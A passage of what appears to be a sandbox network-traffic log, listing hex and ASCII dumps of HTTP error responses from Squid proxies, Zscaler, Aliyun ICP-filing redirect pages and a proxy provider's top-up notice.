3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313874"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 14:21:06 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:06 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 14:21:06 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:07 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/htmlCache-Control: no-cacheX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Length: 4897Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.27Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:08 GMTContent-Type: text/html;charset=utf-8Content-Length: 3932X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 14:21:08 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:08 GMTContent-Type: text/html;charset=utf-8Content-Length: 3703X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:09 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:09 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:09 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:09 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:10 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlServer: Zscaler/6.2Cache-Control: no-cacheAccess-Control-Allow-Origin: *Content-length: 13631Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 68 72 65 65 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 33 35 37 38 33 32 33 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003903578323"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
